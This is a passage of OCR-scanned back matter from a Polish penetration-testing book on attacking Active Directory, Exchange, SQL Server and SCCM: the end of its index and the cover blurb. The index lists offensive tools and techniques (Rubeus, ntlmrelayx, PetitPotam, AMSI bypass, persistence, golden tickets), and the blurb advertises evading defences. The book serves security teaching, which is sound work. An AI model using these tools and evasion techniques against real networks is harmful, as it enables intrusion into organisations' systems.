modifyCertTemplate, 256
net.exe, 71
Nmap, 277
Ntdsutil, 223
ntdsutil.exe, 109
ntlmrelayx, 37, 127
OpenQuery, 300
0SD, 315
PassTheCert, 231
Pcredz, 99
PetitPotam, 95
pfx2john, 236
PowerUpSQL, 276, 277
PowerView, 74
PXEThief, 315
PyWSUS, 309
RACE, 120, 225
RawCopy, 287
RestrictedAdmin, 120
rpcchangepwd.py, 89
rpcclient, 75
Rubeus, 100,132,134
Ruler, 38, 39
SCCMDecryptPoc, 323
sccmhunter, 322
Seatbelt, 61, 63
SeeCLRly, 293
setspn, 80
SharpDPAPI, 235
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SharpGPOAbuse, 176
SharpHound, 78, 79
SharpRDP, 122
SharpRDPThief, 122
SharpSCCM, 315-317
SharpView, 74, 80
SharpWSUS, 310
Shhmon, 60
SIEM, 61
SilkETW, 61
SpoolSample, 95
SQL Server Management
Studio, 323
SQLRecon, 276, 280, 281
Standln, 140, 145, 244
Stracciatella, 57
Sysmon, 54
UserEnum, 73
Vagrant, 20
WebclientServiceScanner, 96
wevtutil.exe, 60
Whisker, 241
Wireshark, 71, 76
WonkaVision, 202
wsuspendu, 310
WSuspicious, 310
Yara, 61
ysoserial.net, 36
nazwy gtéwne ustug, SPN, 80,
102
NBT-NS, NetBIOS Name
Service, 92
NSPI, Name Service Provider
Interface, 27
wyodrebnianie adresow
e-mail, 32
NTLM, New Technology LAN
Manager, 91, 117
atak ESC11, 267
atak ESC8, 265
atak typu relay, 123, 126,
321

o

0AB, Offline Address Book, 27
wyodrebnianie adresow e-
mail, 31
obejscie
AMSI, 46-48
reguly Hash, 52
reguty Sciezka, 52
rejestrowania, 56
trybu CLM, 53
wykrywania enumeracji, 82

obiekt AdminSDHolder, 203
obiekty zasad grupy, GPO, 55,
175
odkrywanie domen, 68
OLE, Object Linking and
Embedding, 294
OpSec, Operational Security, 24
OU, Organizational Units, 69
Outlook, 26
tworzenie reguty, 26, 38
ustawianie strony gtéwnej,
39
OWA, Outlook Web
Application, 26
enumeracja uzytkownikow,
28

P

payload, 34
PKI, Public Key Infrastructure,
229
PKINIT
kradziez danych
uwierzytelniajacych, 237
platforma wirtualizacyjna
Proxmox, 20
VirtualBox, 20
VMware Workstation, 20
plik
AdmPwd.dll, 106
amsi.dll, 45
autodiscover.xml, 26
certmgr.msc, 232
master.mdf, 287
nc.exe, 52
ntds.dit, 87,109, 110, 183
prepare.sh, 21
rundll32.exe, 52
URL, 94
wpad.dat, 92
pliki z po$wiadczeniami, 113
podatnosé
Certifried, 243
MS14-068, 156
PrintNightmare, 159
RemotePotato0, 162
Zerologon, 157
podszywanie sie pod
innego uzytkownika, 282
protokét
DHCPv6, DHCPv6
spoofing, 92
DNS, DNS spoofing, 92
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WPAD, WPAD spoofing,
92
WSUS, WSUS spoofing, 92
system nazw domen
multicast, 92
polecenia enumeracji, 76
poswiadczenia, 88
po$wiadczenia-cienie, 241
PowerShell
funkcje, 118
obejscie rejestrowania, 56
polecenie cmdlet, 69
rejestrowanie zdarzen, 55
w trybie CLM, 50, 51
PowerView, 74, 137
polecenia, 148, 149
powtoka odwrotna, 293, 300
pozyskiwanie po$wiadczen,
319
preferencje zasad grupy, GPP,
89
procedura sktadowana
niestandardowa CLR, 293
niestandardowa
rozszerzona, 290
startowa, 302
xp_cmdshell, 289
procedury automatyzacji OLE,
294
program, Patrz narzedzie
projekt
DetectionLab, 21
GOADv2, 20
PEAS, 32
protokot
ARP, 309
Kerberos, 97
LDAP, 73
MS-DFSNM, 97
MS-EFSR, 95
MS-FSRVP, 96
MS-RPRN, 95
NTLM, 91
RDP, 120
TLS, 309
WebDAYV, 96
przechwytywanie
hasha, 91
posrednik, MITM, 92
wymuszone
uwierzytelnianie, 92
ruchu logowania, 119
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przetrwanie, 301
automatyczne
uruchamianie plikow i
rejestru, 301
na poziomie domeny, 192,
268
DPERSIST1, 269
DPERSIST2, 270
DPERSIST3, 271
na poziomie konta, 238
PERSIST1, 239
PERSISTZ2, 240
PERSIST3, 241
na poziomie
kontrolera domeny, 218
startowe procedury
sktadowane, 302
zto$liwe wyzwalacze, 304
przywilej
SeEnableDelegationPrivilege,
209, Patrz takze eskalacja
przywracanie ustug
katalogowych, 223
PSRemoting, 118
przechwytywanie ruchu
logowania, 119
punkt
dystrybucji, DP, 312
zarzadzania, MP, 312, 316

R

RBCD, Resource-based
Constrained Delegation,
139,169

RDP, Remote Desktop
Protocol, 120

redukcja powierzchni ataku,
ASR, 122

reguty Outlooka, 38

rejestrowanie
blokéw skryptow, 55
ostrzezen o podejrzanych

poleceniach, 55

rekonesans, 68

rekord wykrywania danych,
DDR, 317

relacje zaufania, 147, 148

rozsiewanie haset, password
spraying, 27,90, 277

rozszerzona ochrona
uwierzytelniania, EPA, 124

rozwigzywanie nazw
multicast, 92

Rubeus
konwersja biletéw, 135
ruch boczny, 117,147, 297,321

S

SAMR, Security Account
Manager Remote, 72
SCCM, System Center
Configuration Manager, 308,
311
hierarchia, 313
rozpoznanie, 315
ruch boczny, 321
wdrozenie menedzera, 312
schemat, 147
SDDL, Security Descriptor
Definition Language, 225
serwer
Exchange, 25
dostep zdalny, 26
eksploity Zero2Hero, 33
enumeracja
uzytkownikéw, 27
konfiguracja, 26
panel sterowania, 33, 36
uruchomienie, 26
zrzut adres6w e-mail, 29
Microsoft SQL
atak brute force, 277
naruszanie
zabezpieczen, 274
odkrywanie, 276
polecenia
systemu operacyjnego,
289
ruch boczny, 297
plikéw, 81
Shadow
Credentials, 241
Principals, 187
Security Principals, 188
SharpView, 74
enumeracja
lasu domen, 78
serwerow plikéw, 81
ustug, 80
identyfikacja
uzytkownikéw, 81
polecenia enumeracji, 76
SID, Security Identifier, 147
skanowanie oparte na
sygnaturach, 44
skrot, hash, 91, 123
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SPN, Service Principal Name,
80,102
SRP, Software Restriction
Policies, 50
SSMS, SQL Server Management
Studio, 281
SSPI, Security Support
Provider Interface, 221
SSRF, Server-Side Request
Forgery, 33
Sysmon, 54
instalacja, 54
wykrywanie potaczen
sieciowych, 59
wykrywanie zmiany
w rejestrze, 58

S
$ledzenie zdarzen, ETW, 56, 60

T

TGT, Ticket-Granting Ticket, 97
tokeny-przynety, 82
tryb
CLM, 50
ograniczonego
administratora, 121
tylna furtka, 226

V)

UNC, Uniform Naming
Convention, 285
unikanie obrony, 43
urzad certyfikacji, CA, 229
btedna konfiguracja, 264
ustuga
Active Directory, 19
aktualizacji Windows
Server, WSUS, 308
AutoDiscover, 26
dostepu klienta, CAS, 33
ETW, 60
LSASS, 218
Netlogon, 157
replikacji katalogéw, 110
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Sysmon, 54
WebClient, 126, 127
WinRM, 119
WSUS, 309
ustugi
certyfikatéw, AD CS, 22,
228,265
enumeracja, 80
uczenia maszynowego, 296
uwierzytelnianie
kontrolera domeny, 138
poziomy, 148
protokotem Kerberos, 89,
97,132
protokotem NTLM, 91, 237
rozszerzona ochrona, EPA,
124,267
typu client push, 317, 321
wieloskladnikowe, MFA, 29,
122
wstepne, 99
wymuszone, coerced
authentication, 92, 95,
324
uzyskiwanie poswiadczen, 88
uzytkownik
atak Kerberoasting, 170
atak AS-REP Roasting, 170
uprawnienia, 170

v
VMware Workstation, 21

W
wdrazanie
systemu operacyjnego, OSD,
315

ztosliwych aplikacji, 324
Windows Defender, 44, 122
Application Control, WDAC,
50
Wireshark, 71, 76
WM]I, Windows Management
Instrumentation, 70
wskazniki wtaman, Indicators
of Compromise, 64

wspolny model informacyjny,
CIM, 70, 319
wstrzykiwanie Sciezki UNC,
285
WSUS, Windows Server
Update Services, 309
wykrywanie i reagowanie na
punkty koncowe, EDR, 24
wyodrebnienie adreséw e-mail
przy uzyciu NSPI, 32
z list GAL, 30
z pliku OAB, 31
wyzwalacz, trigger, 304

Y4

zalecenia obronne, 327
zarzadzanie
dostepem
uprzywilejowanym, PAM,
185
przedsiebiorstwem przez
Internet, WBEM, 70
uprzywilejowana
tozsamoscig, PIM, 187
zasadami grupy, 54
zasady ograniczen
oprogramowania, SRP, 50
zatruwanie protokotu
ADIDNS, ADIDNS poisoning,
92
ARP, ARP poisoning, 92
DHCP, DHCP poisoning, 92
zdalne
sterowanie menedzerem
kont bezpieczenstwa,
SAMR, 72
wywotywanie procedur, 72
zto$liwa btedna konfiguracja,
271
ztodliwe wyzwalacze, 304
ztosliwy dostawca ustug, 221
ztoty bilet, 185
zrzut danych, dump, 30
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Testuj granice odpornosci swojej infrastruktury!

Cyberprzestepczos¢ to obecnie wielki biznes i wielka polityka. Zaangazowane podmioty nieustan-

nie daza do doskonalenia technik atakéw. Cyberprzestepcy dysponuja wiasna metodologia, narze-
dziami i wykwalifikowanym personelem. Aby obroni¢ sie przed nimi, musisz zrozumie¢, w jaki sposob

atakuja, a potem dobrze poznac ich taktyki i techniki.

W trakcie lektury tej ksiazki przygotujesz wtasne laboratorium, a nastepnie przeanalizujesz kazdy
etap zabéjczego tancucha atakow i zastosujesz nowa wiedze w praktyce. Dowiesz sie, jak ominac¢
wbudowane mechanizmy bezpieczernistwa, miedzy innymi AMSI, AppLocker i Sysmon, przeprowa-
dzac¢ dziatania rozpoznawcze i wykrywajace w srodowisku domeny, a takze zbiera¢ dane uwierzy-
telniajace w catej domenie. Przeczytasz réwniez, jak poruszac sie ruchem bocznym, aby wtopi¢
sie w ruch srodowiska i pozostaé niewykrytym przez radary obrorncéw, a ponadto jak eskalowac¢
uprawnienia wewnatrz domeny i w catym lesie domen czy osiagac stan przetrwania na poziomie
domeny i w kontrolerze domeny. W efekcie nauczysz sie przeprowadzac¢ ocene bezpieczeristwa
réznych produktow i ustug Microsoftu, takich jak Exchange Server, SQL Server i SCCM.

Ciekawsze zagadnienia:
» techniki atakowania ustug: Active Directory, Exchange Server, WSUS, SCCM, AD CS i SQL Server

* skuteczne unikanie wykrycia w srodowisku
» ofensywne bezpieczeristwo operacyjne (OpSec)
* sposoby naprawy btednych konfiguracji

* przygotowanie rzeczywistych scenariuszy

Denis Isakov specjalizuje sie w ofensywnym bezpieczeristwie systeméw IT ze szczegdlnym
uwzglednieniem srodowiska ustugi katalogowej Active Directory i analiz ztosliwego oprogramowania.
Pracowat dla wielu firm z réznych branz. Uzyskat szereg certyfikatow branzowych, od OSCP po GXPN.
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